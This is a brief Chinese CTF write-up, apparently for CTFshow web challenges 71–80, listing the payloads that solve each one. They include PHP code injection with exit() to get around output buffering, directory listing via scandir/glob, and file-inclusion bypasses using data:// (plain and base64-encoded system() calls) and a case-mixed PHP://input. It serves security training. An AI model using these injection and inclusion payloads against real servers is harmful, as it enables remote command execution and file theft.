web71
分析代码

ob_get_contents():得到输出缓冲区的内容。
ob_end_clean():清除缓冲区的内容,并将缓冲区关闭,但不会输出内容。
preg_replace():执行一个正则表达式的搜索和替换。
所以最后的输出结果会全部替换为?
在执行的代码后面加一个exit();这样就不会执行后面的代码了
c=include('/flag.txt');exit();

web72
看答案也不会,空着
web73
c=var_export(scandir("/"));exit();
查看flag在哪个文件里面

可以发现flag在flagc.txt里面,使用
c=include('/flagc.txt');exit();查看flag

web74
scandir被禁用了,使用glob('/*')代替
c=var_export(glob("/*"));exit();

发现flag在flagx.txt里面
c=include('/flagx.txt');exit();查看flag

web75
暂存
web76
暂存
web77
暂存
web78
分析代码

可以使用伪协议
?file=data://text/plain,<?php system('cat flag.php')?>

web79
分析代码

发现过滤了php,使用data伪协议+base64加密
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhKicpPz4=

web80
分析代码

过滤了php和data,可以使用大小写Php绕过
?file=PHP://input
POST输入:<?php system('ls')?>;

查看fl0g.php获得flag
